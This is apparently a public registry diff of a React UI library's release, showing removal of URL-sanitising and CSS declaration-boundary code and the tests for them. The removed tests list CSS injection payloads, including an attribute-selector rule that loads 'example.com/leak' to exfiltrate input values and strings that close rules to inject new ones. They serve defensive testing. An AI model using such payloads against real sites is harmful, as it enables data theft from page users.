@astryxdesign/core 0.6.3-canary.f22695a → 0.6.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/Button/Button.d.ts.map +1 -1
- package/dist/Button/Button.js +28 -13
- package/dist/Chat/ChatLayout.d.ts +0 -19
- package/dist/Chat/ChatLayout.d.ts.map +1 -1
- package/dist/Chat/ChatLayout.js +0 -19
- package/dist/Chat/ChatLayoutScrollButton.d.ts.map +1 -1
- package/dist/Chat/ChatLayoutScrollButton.js +34 -44
- package/dist/Citation/Citation.d.ts +1 -1
- package/dist/Citation/Citation.d.ts.map +1 -1
- package/dist/Citation/Citation.js +2 -3
- package/dist/CodeBlock/highlightRanges.d.ts.map +1 -1
- package/dist/CodeBlock/highlightRanges.js +3 -14
- package/dist/Icon/Icon.d.ts +31 -6
- package/dist/Icon/Icon.d.ts.map +1 -1
- package/dist/Icon/Icon.js +71 -8
- package/dist/Link/useLinkComponent.d.ts +15 -5
- package/dist/Link/useLinkComponent.d.ts.map +1 -1
- package/dist/Link/useLinkComponent.js +51 -34
- package/dist/Markdown/Markdown.js +2 -2
- package/dist/Markdown/url.d.ts +0 -2
- package/dist/Markdown/url.d.ts.map +1 -1
- package/dist/Markdown/url.js +2 -8
- package/dist/PowerSearch/PowerSearchValueEditor.d.ts.map +1 -1
- package/dist/PowerSearch/PowerSearchValueEditor.js +0 -5
- package/dist/TopNav/TopNavMenu.d.ts +1 -1
- package/dist/TopNav/TopNavMenu.d.ts.map +1 -1
- package/dist/TopNav/TopNavMenu.js +2 -3
- package/dist/astryx.css +4 -2
- package/dist/hooks/useClickableContainer.d.ts +1 -10
- package/dist/hooks/useClickableContainer.d.ts.map +1 -1
- package/dist/hooks/useClickableContainer.js +4 -15
- package/dist/index.d.ts +0 -1
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +0 -3
- package/dist/theme/generateThemeRules.d.ts +7 -13
- package/dist/theme/generateThemeRules.d.ts.map +1 -1
- package/dist/theme/generateThemeRules.js +35 -131
- package/package.json +4 -9
- package/src/Button/Button.doc.mjs +5 -5
- package/src/Button/Button.tsx +13 -15
- package/src/Chat/ChatLayout.doc.mjs +4 -12
- package/src/Chat/ChatLayout.test.tsx +0 -28
- package/src/Chat/ChatLayout.tsx +0 -19
- package/src/Chat/ChatLayoutScrollButton.test.tsx +0 -31
- package/src/Chat/ChatLayoutScrollButton.tsx +14 -31
- package/src/Citation/Citation.doc.mjs +2 -2
- package/src/Citation/Citation.test.tsx +0 -17
- package/src/Citation/Citation.tsx +2 -4
- package/src/ClickableCard/ClickableCard.doc.mjs +2 -2
- package/src/CodeBlock/highlightRanges.test.ts +1 -143
- package/src/CodeBlock/highlightRanges.ts +5 -15
- package/src/Icon/Icon.doc.mjs +5 -7
- package/src/Icon/Icon.spec.md +40 -81
- package/src/Icon/Icon.test.tsx +3 -6
- package/src/Icon/Icon.tsx +68 -20
- package/src/IconButton/IconButton.doc.mjs +3 -3
- package/src/IconButton/IconButton.test.tsx +0 -40
- package/src/Item/Item.doc.mjs +2 -2
- package/src/Link/Link.doc.mjs +4 -6
- package/src/Link/LinkProvider.doc.mjs +2 -2
- package/src/Link/useLinkComponent.test.tsx +0 -333
- package/src/Link/useLinkComponent.ts +57 -29
- package/src/List/ListItem.doc.mjs +2 -2
- package/src/Markdown/Markdown.doc.mjs +2 -2
- package/src/Markdown/Markdown.spec.md +15 -19
- package/src/Markdown/Markdown.test.tsx +0 -52
- package/src/Markdown/Markdown.tsx +2 -2
- package/src/Markdown/parser.test.ts +0 -20
- package/src/Markdown/url.ts +3 -9
- package/src/PowerSearch/PowerSearchValueEditor.test.tsx +0 -51
- package/src/PowerSearch/PowerSearchValueEditor.tsx +0 -4
- package/src/Token/Token.doc.mjs +2 -2
- package/src/TopNav/TopNavMenu.doc.mjs +2 -2
- package/src/TopNav/TopNavMenu.test.tsx +0 -30
- package/src/TopNav/TopNavMenu.tsx +2 -7
- package/src/hooks/useClickableContainer.ts +4 -20
- package/src/index.ts +0 -3
- package/src/tailwind-theme.css +6 -0
- package/src/theme/Theme.test.tsx +0 -32
- package/src/theme/generateThemeRules.test.ts +2 -470
- package/src/theme/generateThemeRules.ts +51 -219
- package/src/theme/tokenValueCompat.test.ts +1 -4
- package/dist/Icon/IconDefaultSizeContext.d.ts +0 -4
- package/dist/Icon/IconDefaultSizeContext.d.ts.map +0 -1
- package/dist/Icon/IconDefaultSizeContext.js +0 -18
- package/dist/Icon/IconSize.stylex.d.ts +0 -65
- package/dist/Icon/IconSize.stylex.d.ts.map +0 -1
- package/dist/Icon/IconSize.stylex.js +0 -75
- package/dist/Timer/Timer.d.ts +0 -49
- package/dist/Timer/Timer.d.ts.map +0 -1
- package/dist/Timer/Timer.js +0 -158
- package/dist/Timer/index.d.ts +0 -9
- package/dist/Timer/index.d.ts.map +0 -1
- package/dist/Timer/index.js +0 -10
- package/dist/theme/declarationBoundary.d.ts +0 -17
- package/dist/theme/declarationBoundary.d.ts.map +0 -1
- package/dist/theme/declarationBoundary.js +0 -343
- package/dist/utils/safeUrl.d.ts +0 -11
- package/dist/utils/safeUrl.d.ts.map +0 -1
- package/dist/utils/safeUrl.js +0 -78
- package/src/Chat/ChatLayout.spec.md +0 -271
- package/src/Chat/ChatLayoutScrollButton.spec.md +0 -338
- package/src/Chat/__tests__/ChatLayoutScrollButton.a11y.chromium.spec.ts +0 -514
- package/src/Chat/__tests__/ChatLayoutScrollButtonSurface.a11y.chromium.spec.ts +0 -740
- package/src/Icon/IconDefaultSizeContext.ts +0 -23
- package/src/Icon/IconSize.stylex.ts +0 -70
- package/src/Link/__tests__/Link.navigation.a11y.chromium.spec.ts +0 -261
- package/src/Markdown/Markdown.renderBoundary.test.tsx +0 -72
- package/src/Timer/Timer.doc.mjs +0 -183
- package/src/Timer/Timer.spec.md +0 -215
- package/src/Timer/Timer.test.tsx +0 -302
- package/src/Timer/Timer.tsx +0 -258
- package/src/Timer/index.ts +0 -11
- package/src/hooks/useClickableContainer.test.tsx +0 -236
- package/src/theme/declarationBoundary.test.ts +0 -126
- package/src/theme/declarationBoundary.ts +0 -347
- package/src/utils/safeUrl.test.ts +0 -88
- package/src/utils/safeUrl.ts +0 -85
package/src/theme/Theme.test.tsx
CHANGED
|
@@ -55,38 +55,6 @@ describe('Theme', () => {
|
|
|
55
55
|
expect(getByText('hello')).toBeTruthy();
|
|
56
56
|
});
|
|
57
57
|
|
|
58
|
-
it('mounts the remaining CSS when one authored declaration is dropped', () => {
|
|
59
|
-
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
|
60
|
-
try {
|
|
61
|
-
const theme = defineTheme({
|
|
62
|
-
name: 'declaration-boundary',
|
|
63
|
-
tokens: {'--color-accent': 'red; } body { color: red'},
|
|
64
|
-
components: {button: {base: {borderRadius: '4px'}}},
|
|
65
|
-
});
|
|
66
|
-
render(
|
|
67
|
-
<Theme theme={theme}>
|
|
68
|
-
<span>child</span>
|
|
69
|
-
</Theme>,
|
|
70
|
-
);
|
|
71
|
-
const css = Array.from(document.querySelectorAll('style'))
|
|
72
|
-
.map(tag => tag.textContent ?? '')
|
|
73
|
-
.join('\n');
|
|
74
|
-
expect(css).not.toContain('body { color: red');
|
|
75
|
-
expect(css).toContain('border-radius: 4px;');
|
|
76
|
-
expect(css).toContain(':where(p)');
|
|
77
|
-
expect(
|
|
78
|
-
warn.mock.calls.filter(([message]) =>
|
|
79
|
-
String(message).startsWith('[astryx theme] dropped'),
|
|
80
|
-
),
|
|
81
|
-
).toHaveLength(1);
|
|
82
|
-
expect(warn).toHaveBeenCalledWith(
|
|
83
|
-
expect.stringContaining('dropped "--color-accent" in tokens'),
|
|
84
|
-
);
|
|
85
|
-
} finally {
|
|
86
|
-
warn.mockRestore();
|
|
87
|
-
}
|
|
88
|
-
});
|
|
89
|
-
|
|
90
58
|
it('sets data-astryx-theme on wrapper div', () => {
|
|
91
59
|
const {container} = render(
|
|
92
60
|
<Theme theme={testTheme}>
|
|
@@ -6,7 +6,7 @@
|
|
|
6
6
|
* correct, consistently ordered CSS for both runtime and build paths.
|
|
7
7
|
*/
|
|
8
8
|
|
|
9
|
-
import {describe, it, expect
|
|
9
|
+
import {describe, it, expect} from 'vitest';
|
|
10
10
|
import {
|
|
11
11
|
dataTokenDefaults,
|
|
12
12
|
defineTheme,
|
|
@@ -14,7 +14,6 @@ import {
|
|
|
14
14
|
generateThemeCSS,
|
|
15
15
|
generateOnMediaCSS,
|
|
16
16
|
generateThemeRules,
|
|
17
|
-
type DefinedTheme,
|
|
18
17
|
} from './index';
|
|
19
18
|
import {generateDataTokenDefaultsCSS} from './generateThemeRules';
|
|
20
19
|
|
|
@@ -294,9 +293,7 @@ describe('generateThemeRules', () => {
|
|
|
294
293
|
r.includes('font-family: var(--font-family-body)'),
|
|
295
294
|
);
|
|
296
295
|
expect(fontRule).toBeDefined();
|
|
297
|
-
expect(fontRule).toBe(
|
|
298
|
-
' :scope {\n font-family: var(--font-family-body);\n }',
|
|
299
|
-
);
|
|
296
|
+
expect(fontRule).toBe(' :scope {\n font-family: var(--font-family-body);\n }');
|
|
300
297
|
});
|
|
301
298
|
|
|
302
299
|
it('emits no scope font rule when the theme declares no body font', () => {
|
|
@@ -1390,468 +1387,3 @@ describe('data visualization tokens', () => {
|
|
|
1390
1387
|
).toEqual(['component', 'prose']);
|
|
1391
1388
|
});
|
|
1392
1389
|
});
|
|
1393
|
-
|
|
1394
|
-
describe('declaration assembly keeps values as values', () => {
|
|
1395
|
-
/** Run the full runtime generator, collecting every dropped declaration. */
|
|
1396
|
-
function generate(theme: DefinedTheme) {
|
|
1397
|
-
const diagnostics: string[] = [];
|
|
1398
|
-
const {component, prose} = generateThemeCSS(theme, diagnostics);
|
|
1399
|
-
return {css: component + prose, component, prose, diagnostics};
|
|
1400
|
-
}
|
|
1401
|
-
|
|
1402
|
-
/**
|
|
1403
|
-
* Every path a consumer-supplied declaration can take into the stylesheet.
|
|
1404
|
-
* `build` places `value` on that path; `emitted` is the exact declaration
|
|
1405
|
-
* text the path writes for it; `property`/`location` are what a diagnostic
|
|
1406
|
-
* for it must carry.
|
|
1407
|
-
*/
|
|
1408
|
-
const paths: {
|
|
1409
|
-
label: string;
|
|
1410
|
-
property: string;
|
|
1411
|
-
location: string;
|
|
1412
|
-
build: (value: string) => DefinedTheme;
|
|
1413
|
-
emitted: (value: string) => string;
|
|
1414
|
-
}[] = [
|
|
1415
|
-
{
|
|
1416
|
-
label: 'root tokens',
|
|
1417
|
-
property: '--color-accent',
|
|
1418
|
-
location: 'tokens',
|
|
1419
|
-
build: value =>
|
|
1420
|
-
defineTheme({name: 'brand', tokens: {'--color-accent': value}}),
|
|
1421
|
-
emitted: value => `--color-accent: ${value};`,
|
|
1422
|
-
},
|
|
1423
|
-
{
|
|
1424
|
-
label: 'theme-local tokens',
|
|
1425
|
-
property: '--brand-accent',
|
|
1426
|
-
location: 'localTokens',
|
|
1427
|
-
build: value =>
|
|
1428
|
-
defineTheme({name: 'brand', localTokens: {'--brand-accent': value}}),
|
|
1429
|
-
emitted: value => `--brand-accent: ${value};`,
|
|
1430
|
-
},
|
|
1431
|
-
{
|
|
1432
|
-
label: 'tokens inherited from a base theme',
|
|
1433
|
-
property: '--color-accent',
|
|
1434
|
-
location: 'tokens',
|
|
1435
|
-
build: value =>
|
|
1436
|
-
defineTheme({
|
|
1437
|
-
name: 'child',
|
|
1438
|
-
extends: defineTheme({
|
|
1439
|
-
name: 'base',
|
|
1440
|
-
tokens: {'--color-accent': value},
|
|
1441
|
-
}),
|
|
1442
|
-
}),
|
|
1443
|
-
emitted: value => `--color-accent: ${value};`,
|
|
1444
|
-
},
|
|
1445
|
-
{
|
|
1446
|
-
label: 'component variant',
|
|
1447
|
-
property: 'background-color',
|
|
1448
|
-
location: 'components.button["variant:secondary"]',
|
|
1449
|
-
build: value =>
|
|
1450
|
-
defineTheme({
|
|
1451
|
-
name: 'brand',
|
|
1452
|
-
components: {
|
|
1453
|
-
button: {'variant:secondary': {backgroundColor: value}},
|
|
1454
|
-
},
|
|
1455
|
-
}),
|
|
1456
|
-
emitted: value => `background-color: ${value};`,
|
|
1457
|
-
},
|
|
1458
|
-
{
|
|
1459
|
-
label: 'component variant inherited from a base theme',
|
|
1460
|
-
property: 'background-color',
|
|
1461
|
-
location: 'components.button["variant:secondary"]',
|
|
1462
|
-
build: value =>
|
|
1463
|
-
defineTheme({
|
|
1464
|
-
name: 'child',
|
|
1465
|
-
extends: defineTheme({
|
|
1466
|
-
name: 'base',
|
|
1467
|
-
components: {
|
|
1468
|
-
button: {'variant:secondary': {backgroundColor: value}},
|
|
1469
|
-
},
|
|
1470
|
-
}),
|
|
1471
|
-
}),
|
|
1472
|
-
emitted: value => `background-color: ${value};`,
|
|
1473
|
-
},
|
|
1474
|
-
{
|
|
1475
|
-
label: 'component pseudo block',
|
|
1476
|
-
property: 'background-color',
|
|
1477
|
-
location: 'components.button["variant:secondary"][":hover"]',
|
|
1478
|
-
build: value =>
|
|
1479
|
-
defineTheme({
|
|
1480
|
-
name: 'brand',
|
|
1481
|
-
components: {
|
|
1482
|
-
button: {'variant:secondary': {':hover': {backgroundColor: value}}},
|
|
1483
|
-
},
|
|
1484
|
-
}),
|
|
1485
|
-
emitted: value => `background-color: ${value};`,
|
|
1486
|
-
},
|
|
1487
|
-
{
|
|
1488
|
-
label: 'onDark tokens',
|
|
1489
|
-
property: '--color-accent',
|
|
1490
|
-
location: 'onDark.tokens',
|
|
1491
|
-
build: value =>
|
|
1492
|
-
defineTheme({
|
|
1493
|
-
name: 'brand',
|
|
1494
|
-
onDark: {tokens: {'--color-accent': value}},
|
|
1495
|
-
}),
|
|
1496
|
-
emitted: value => `--color-accent: ${value};`,
|
|
1497
|
-
},
|
|
1498
|
-
{
|
|
1499
|
-
label: 'onLight component variant',
|
|
1500
|
-
property: 'background-color',
|
|
1501
|
-
location: 'onLight.components.button["variant:secondary"]',
|
|
1502
|
-
build: value =>
|
|
1503
|
-
defineTheme({
|
|
1504
|
-
name: 'brand',
|
|
1505
|
-
onLight: {
|
|
1506
|
-
components: {
|
|
1507
|
-
button: {'variant:secondary': {backgroundColor: value}},
|
|
1508
|
-
},
|
|
1509
|
-
},
|
|
1510
|
-
}),
|
|
1511
|
-
emitted: value => `background-color: ${value};`,
|
|
1512
|
-
},
|
|
1513
|
-
{
|
|
1514
|
-
label: 'onDark component pseudo block',
|
|
1515
|
-
property: 'background-color',
|
|
1516
|
-
location: 'onDark.components.button["variant:secondary"][":hover"]',
|
|
1517
|
-
build: value =>
|
|
1518
|
-
defineTheme({
|
|
1519
|
-
name: 'brand',
|
|
1520
|
-
onDark: {
|
|
1521
|
-
components: {
|
|
1522
|
-
button: {
|
|
1523
|
-
'variant:secondary': {':hover': {backgroundColor: value}},
|
|
1524
|
-
},
|
|
1525
|
-
},
|
|
1526
|
-
},
|
|
1527
|
-
}),
|
|
1528
|
-
emitted: value => `background-color: ${value};`,
|
|
1529
|
-
},
|
|
1530
|
-
{
|
|
1531
|
-
label: 'adaptation tokens',
|
|
1532
|
-
property: '--color-accent',
|
|
1533
|
-
location: 'adaptations[0].tokens',
|
|
1534
|
-
build: value =>
|
|
1535
|
-
defineTheme({
|
|
1536
|
-
name: 'brand',
|
|
1537
|
-
adaptations: {
|
|
1538
|
-
rules: [
|
|
1539
|
-
{
|
|
1540
|
-
when: {pointer: 'coarse'},
|
|
1541
|
-
value: {tokens: {'--color-accent': value}},
|
|
1542
|
-
},
|
|
1543
|
-
],
|
|
1544
|
-
},
|
|
1545
|
-
}),
|
|
1546
|
-
emitted: value => `--color-accent: ${value};`,
|
|
1547
|
-
},
|
|
1548
|
-
{
|
|
1549
|
-
label: 'adaptation component variant',
|
|
1550
|
-
property: 'background-color',
|
|
1551
|
-
location: 'adaptations[1].components.button["variant:secondary"]',
|
|
1552
|
-
build: value =>
|
|
1553
|
-
defineTheme({
|
|
1554
|
-
name: 'brand',
|
|
1555
|
-
adaptations: {
|
|
1556
|
-
rules: [
|
|
1557
|
-
{
|
|
1558
|
-
when: {pointer: 'fine'},
|
|
1559
|
-
value: {tokens: {'--spacing-4': '12px'}},
|
|
1560
|
-
},
|
|
1561
|
-
{
|
|
1562
|
-
when: {pointer: 'coarse'},
|
|
1563
|
-
value: {
|
|
1564
|
-
components: {
|
|
1565
|
-
button: {'variant:secondary': {backgroundColor: value}},
|
|
1566
|
-
},
|
|
1567
|
-
},
|
|
1568
|
-
},
|
|
1569
|
-
],
|
|
1570
|
-
},
|
|
1571
|
-
}),
|
|
1572
|
-
emitted: value => `background-color: ${value};`,
|
|
1573
|
-
},
|
|
1574
|
-
];
|
|
1575
|
-
|
|
1576
|
-
/** Valid CSS a browser keeps inside one declaration. */
|
|
1577
|
-
const preserved: [string, string][] = [
|
|
1578
|
-
['a color-mix()', 'color-mix(in oklch, #FF00FF 80%, white)'],
|
|
1579
|
-
['a gradient', 'linear-gradient(135deg, #FF00FF 0%, #00FFFF 100%)'],
|
|
1580
|
-
['calc()', 'calc(100% - 24px)'],
|
|
1581
|
-
['light-dark()', 'light-dark(#fff, #111)'],
|
|
1582
|
-
['a quoted font stack', "'Inter Var', ui-sans-serif, system-ui"],
|
|
1583
|
-
[
|
|
1584
|
-
'a data: URI (semicolon inside url())',
|
|
1585
|
-
'url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUg==)',
|
|
1586
|
-
],
|
|
1587
|
-
['an uppercase URL()', 'URL(data:image/svg+xml;base64,PHN2Zz4=)'],
|
|
1588
|
-
[
|
|
1589
|
-
'a quoted url() carrying a semicolon',
|
|
1590
|
-
'url("data:image/svg+xml;utf8,<svg/>")',
|
|
1591
|
-
],
|
|
1592
|
-
['an escaped identifier', 'Gill\\ Sans, serif'],
|
|
1593
|
-
['a closed comment with a semicolon inside', 'red /* ; } */'],
|
|
1594
|
-
['a semicolon inside a string', '"a;b"'],
|
|
1595
|
-
['an escaped quote inside a string', '"a\\" ; b"'],
|
|
1596
|
-
['quoted braces', '"} body { color: red }"'],
|
|
1597
|
-
['important', 'red !important'],
|
|
1598
|
-
['nested functions', 'var(--fallback, calc(1px + 2px))'],
|
|
1599
|
-
['CRLF string continuation', '"a\\\r\nb"'],
|
|
1600
|
-
['closed comment with a control character', 'red /* \u0001 ; } */'],
|
|
1601
|
-
[
|
|
1602
|
-
'balanced brackets and parentheses',
|
|
1603
|
-
'[full-start] minmax(0, 1fr) [full-end]',
|
|
1604
|
-
],
|
|
1605
|
-
];
|
|
1606
|
-
|
|
1607
|
-
/** Values a browser reads as the end of the declaration or rule. */
|
|
1608
|
-
const rejected: [string, string, string][] = [
|
|
1609
|
-
[
|
|
1610
|
-
'an unquoted semicolon adds a declaration',
|
|
1611
|
-
'red; background-image: url(https://example.com/leak)',
|
|
1612
|
-
';',
|
|
1613
|
-
],
|
|
1614
|
-
[
|
|
1615
|
-
'an unquoted brace closes the rule',
|
|
1616
|
-
'red } input[value^="a"] { background: url(https://example.com/leak?a) ',
|
|
1617
|
-
'}',
|
|
1618
|
-
],
|
|
1619
|
-
[
|
|
1620
|
-
'an unquoted brace opens a block',
|
|
1621
|
-
'red { background: url(https://example.com/leak) }',
|
|
1622
|
-
'{',
|
|
1623
|
-
],
|
|
1624
|
-
[
|
|
1625
|
-
'an escaped quote is not a string opener',
|
|
1626
|
-
'\\"; background: url(https://example.com/leak); "',
|
|
1627
|
-
';',
|
|
1628
|
-
],
|
|
1629
|
-
[
|
|
1630
|
-
'an unclosed comment swallows the rule',
|
|
1631
|
-
'red /* https://example.com/leak',
|
|
1632
|
-
'comment',
|
|
1633
|
-
],
|
|
1634
|
-
[
|
|
1635
|
-
'an unclosed string swallows the rule',
|
|
1636
|
-
'"https://example.com/leak',
|
|
1637
|
-
'string',
|
|
1638
|
-
],
|
|
1639
|
-
[
|
|
1640
|
-
'an unclosed url() swallows the rule',
|
|
1641
|
-
'url(https://example.com/leak',
|
|
1642
|
-
'url(',
|
|
1643
|
-
],
|
|
1644
|
-
[
|
|
1645
|
-
'an unclosed paren swallows the rule',
|
|
1646
|
-
'calc(1px + var(--example.com/leak)',
|
|
1647
|
-
'(',
|
|
1648
|
-
],
|
|
1649
|
-
[
|
|
1650
|
-
'an unbalanced closer',
|
|
1651
|
-
'red) ; background: url(https://example.com/leak)',
|
|
1652
|
-
')',
|
|
1653
|
-
],
|
|
1654
|
-
['a bad url', 'url(https://example.com/leak a)', 'bad url'],
|
|
1655
|
-
[
|
|
1656
|
-
'a trailing backslash escapes the terminator',
|
|
1657
|
-
'https://example.com/leak\\',
|
|
1658
|
-
'backslash',
|
|
1659
|
-
],
|
|
1660
|
-
];
|
|
1661
|
-
|
|
1662
|
-
describe.each(paths)('$label', path => {
|
|
1663
|
-
it.each(preserved)('emits %s byte-identically', (_label, value) => {
|
|
1664
|
-
const {css, diagnostics} = generate(path.build(value));
|
|
1665
|
-
expect(css).toContain(path.emitted(value));
|
|
1666
|
-
expect(diagnostics).toEqual([]);
|
|
1667
|
-
});
|
|
1668
|
-
|
|
1669
|
-
it.each(rejected)('drops a value where %s', (_label, value, reason) => {
|
|
1670
|
-
const {css, diagnostics} = generate(path.build(value));
|
|
1671
|
-
expect(css).not.toContain('example.com');
|
|
1672
|
-
expect(css).not.toContain('leak');
|
|
1673
|
-
expect(diagnostics).toHaveLength(1);
|
|
1674
|
-
expect(diagnostics[0]).toContain(`"${path.property}"`);
|
|
1675
|
-
expect(diagnostics[0]).toContain(path.location);
|
|
1676
|
-
expect(diagnostics[0]).toContain(reason);
|
|
1677
|
-
});
|
|
1678
|
-
});
|
|
1679
|
-
|
|
1680
|
-
it('keeps a vendor-prefixed property name', () => {
|
|
1681
|
-
const {css, diagnostics} = generate(
|
|
1682
|
-
defineTheme({
|
|
1683
|
-
name: 'brand',
|
|
1684
|
-
components: {
|
|
1685
|
-
button: {
|
|
1686
|
-
'variant:secondary': {
|
|
1687
|
-
WebkitLineClamp: '2',
|
|
1688
|
-
MozOsxFontSmoothing: 'grayscale',
|
|
1689
|
-
},
|
|
1690
|
-
},
|
|
1691
|
-
},
|
|
1692
|
-
}),
|
|
1693
|
-
);
|
|
1694
|
-
expect(css).toContain('-webkit-line-clamp: 2;');
|
|
1695
|
-
expect(css).toContain('-moz-osx-font-smoothing: grayscale;');
|
|
1696
|
-
expect(diagnostics).toEqual([]);
|
|
1697
|
-
});
|
|
1698
|
-
|
|
1699
|
-
it('drops a property name that is not a property name', () => {
|
|
1700
|
-
const {css, diagnostics} = generate(
|
|
1701
|
-
defineTheme({
|
|
1702
|
-
name: 'brand',
|
|
1703
|
-
tokens: {
|
|
1704
|
-
'--x:red} body{color:blue': 'red',
|
|
1705
|
-
} as Record<string, string>,
|
|
1706
|
-
}),
|
|
1707
|
-
);
|
|
1708
|
-
expect(css).not.toContain('body{color:blue');
|
|
1709
|
-
expect(css).not.toContain('body {');
|
|
1710
|
-
expect(diagnostics).toHaveLength(1);
|
|
1711
|
-
expect(diagnostics[0]).toContain('"--x:red} body{color:blue" in tokens');
|
|
1712
|
-
expect(diagnostics[0]).toContain('identifier');
|
|
1713
|
-
});
|
|
1714
|
-
|
|
1715
|
-
it('keeps prose rules intact when a typed token carries a payload', () => {
|
|
1716
|
-
// Prose rules reference the token through var(), so the payload never
|
|
1717
|
-
// reaches them; the token block drops it and the :where(p) rule stays.
|
|
1718
|
-
const {css, prose, diagnostics} = generate(
|
|
1719
|
-
defineTheme({
|
|
1720
|
-
name: 'brand',
|
|
1721
|
-
tokens: {
|
|
1722
|
-
'--text-body-size': '1rem; } body { background: url(x) ',
|
|
1723
|
-
},
|
|
1724
|
-
}),
|
|
1725
|
-
);
|
|
1726
|
-
expect(css).not.toContain('background: url(x)');
|
|
1727
|
-
expect(css).not.toContain('body {');
|
|
1728
|
-
expect(prose).toContain('font-size: var(--text-body-size);');
|
|
1729
|
-
expect(diagnostics).toHaveLength(1);
|
|
1730
|
-
expect(diagnostics[0]).toContain('"--text-body-size" in tokens');
|
|
1731
|
-
});
|
|
1732
|
-
|
|
1733
|
-
it('falls back to the token weight when an authored Heading weight cannot stay a declaration', () => {
|
|
1734
|
-
const payload = '700; } body { background: url(https://example.com/leak) ';
|
|
1735
|
-
const {css, diagnostics} = generate(
|
|
1736
|
-
defineTheme({
|
|
1737
|
-
name: 'brand',
|
|
1738
|
-
components: {heading: {'weight:bold': {fontWeight: payload}}},
|
|
1739
|
-
}),
|
|
1740
|
-
);
|
|
1741
|
-
expect(css).not.toContain('example.com');
|
|
1742
|
-
expect(css).toContain(
|
|
1743
|
-
'.astryx-heading[data-weight="bold"] { font-weight: var(--font-weight-bold); }',
|
|
1744
|
-
);
|
|
1745
|
-
// Reported once, where the authored rule's own declarations are emitted.
|
|
1746
|
-
expect(diagnostics).toHaveLength(1);
|
|
1747
|
-
expect(diagnostics[0]).toContain(
|
|
1748
|
-
'"font-weight" in components.heading["weight:bold"]',
|
|
1749
|
-
);
|
|
1750
|
-
});
|
|
1751
|
-
|
|
1752
|
-
it('falls back to the token weight when an inherited Heading weight cannot stay a declaration', () => {
|
|
1753
|
-
const payload = '700; } body { background: url(https://example.com/leak) ';
|
|
1754
|
-
const {css} = generate(
|
|
1755
|
-
defineTheme({
|
|
1756
|
-
name: 'brand',
|
|
1757
|
-
components: {heading: {'weight:bold': {fontWeight: payload}}},
|
|
1758
|
-
onDark: {components: {heading: {'level:1': {fontSize: '2rem'}}}},
|
|
1759
|
-
}),
|
|
1760
|
-
);
|
|
1761
|
-
expect(css).not.toContain('example.com');
|
|
1762
|
-
expect(css).toContain(
|
|
1763
|
-
':is([data-astryx-media="dark"]) :is(.astryx-heading[data-weight="bold"]) { font-weight: var(--font-weight-bold); }',
|
|
1764
|
-
);
|
|
1765
|
-
});
|
|
1766
|
-
|
|
1767
|
-
it('a dropped container padding still leaves the rest of the rule intact', () => {
|
|
1768
|
-
const {css, diagnostics} = generate(
|
|
1769
|
-
defineTheme({
|
|
1770
|
-
name: 'brand',
|
|
1771
|
-
components: {
|
|
1772
|
-
card: {
|
|
1773
|
-
base: {
|
|
1774
|
-
padding:
|
|
1775
|
-
'16px; } body { background: url(https://example.com/leak) ',
|
|
1776
|
-
borderRadius: '8px',
|
|
1777
|
-
},
|
|
1778
|
-
},
|
|
1779
|
-
},
|
|
1780
|
-
}),
|
|
1781
|
-
);
|
|
1782
|
-
expect(css).not.toContain('example.com');
|
|
1783
|
-
expect(css).toContain('border-radius: 8px;');
|
|
1784
|
-
expect(diagnostics).toHaveLength(1);
|
|
1785
|
-
expect(diagnostics[0]).toContain('"padding" in components.card["base"]');
|
|
1786
|
-
expect(css).not.toContain('--astryx-card-padding');
|
|
1787
|
-
});
|
|
1788
|
-
|
|
1789
|
-
it('warns on the console only when no warning collector is given', () => {
|
|
1790
|
-
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
|
1791
|
-
const theme = defineTheme({
|
|
1792
|
-
name: 'brand',
|
|
1793
|
-
tokens: {
|
|
1794
|
-
'--color-accent': 'red; background: url(https://example.com/leak)',
|
|
1795
|
-
},
|
|
1796
|
-
});
|
|
1797
|
-
|
|
1798
|
-
const plainCSS = generateThemeCSS(theme);
|
|
1799
|
-
expect(warn).toHaveBeenCalledTimes(1);
|
|
1800
|
-
expect(warn).toHaveBeenCalledWith(
|
|
1801
|
-
expect.stringContaining(
|
|
1802
|
-
'[astryx theme] dropped "--color-accent" in tokens',
|
|
1803
|
-
),
|
|
1804
|
-
);
|
|
1805
|
-
|
|
1806
|
-
warn.mockClear();
|
|
1807
|
-
const diagnostics: string[] = ['earlier build warning'];
|
|
1808
|
-
const before = JSON.stringify(theme);
|
|
1809
|
-
expect(generateThemeCSS(theme, diagnostics)).toEqual(plainCSS);
|
|
1810
|
-
expect(JSON.stringify(theme)).toBe(before);
|
|
1811
|
-
expect(warn).not.toHaveBeenCalled();
|
|
1812
|
-
expect(diagnostics).toHaveLength(2);
|
|
1813
|
-
expect(diagnostics[0]).toBe('earlier build warning');
|
|
1814
|
-
expect(diagnostics[1]).toContain('dropped "--color-accent" in tokens');
|
|
1815
|
-
warn.mockRestore();
|
|
1816
|
-
});
|
|
1817
|
-
|
|
1818
|
-
it('every shipped generator entry point appends to the warning collector', () => {
|
|
1819
|
-
const theme = defineTheme({
|
|
1820
|
-
name: 'brand',
|
|
1821
|
-
tokens: {
|
|
1822
|
-
'--color-accent': 'red; background: url(https://example.com/leak)',
|
|
1823
|
-
},
|
|
1824
|
-
onDark: {
|
|
1825
|
-
tokens: {
|
|
1826
|
-
'--color-accent': 'red; background: url(https://example.com/dark)',
|
|
1827
|
-
},
|
|
1828
|
-
},
|
|
1829
|
-
adaptations: {
|
|
1830
|
-
rules: [
|
|
1831
|
-
{
|
|
1832
|
-
when: {pointer: 'coarse'},
|
|
1833
|
-
value: {
|
|
1834
|
-
tokens: {
|
|
1835
|
-
'--color-accent':
|
|
1836
|
-
'red; background: url(https://example.com/coarse)',
|
|
1837
|
-
},
|
|
1838
|
-
},
|
|
1839
|
-
},
|
|
1840
|
-
],
|
|
1841
|
-
},
|
|
1842
|
-
});
|
|
1843
|
-
const seen: string[] = [];
|
|
1844
|
-
expect(generateThemeRules(theme, seen).join('')).not.toContain(
|
|
1845
|
-
'example.com',
|
|
1846
|
-
);
|
|
1847
|
-
expect(generateOnMediaCSS(theme, seen)).not.toContain('example.com');
|
|
1848
|
-
expect(generateAdaptationCSS(theme, seen).component).not.toContain(
|
|
1849
|
-
'example.com',
|
|
1850
|
-
);
|
|
1851
|
-
expect(seen).toEqual([
|
|
1852
|
-
expect.stringContaining('in tokens:'),
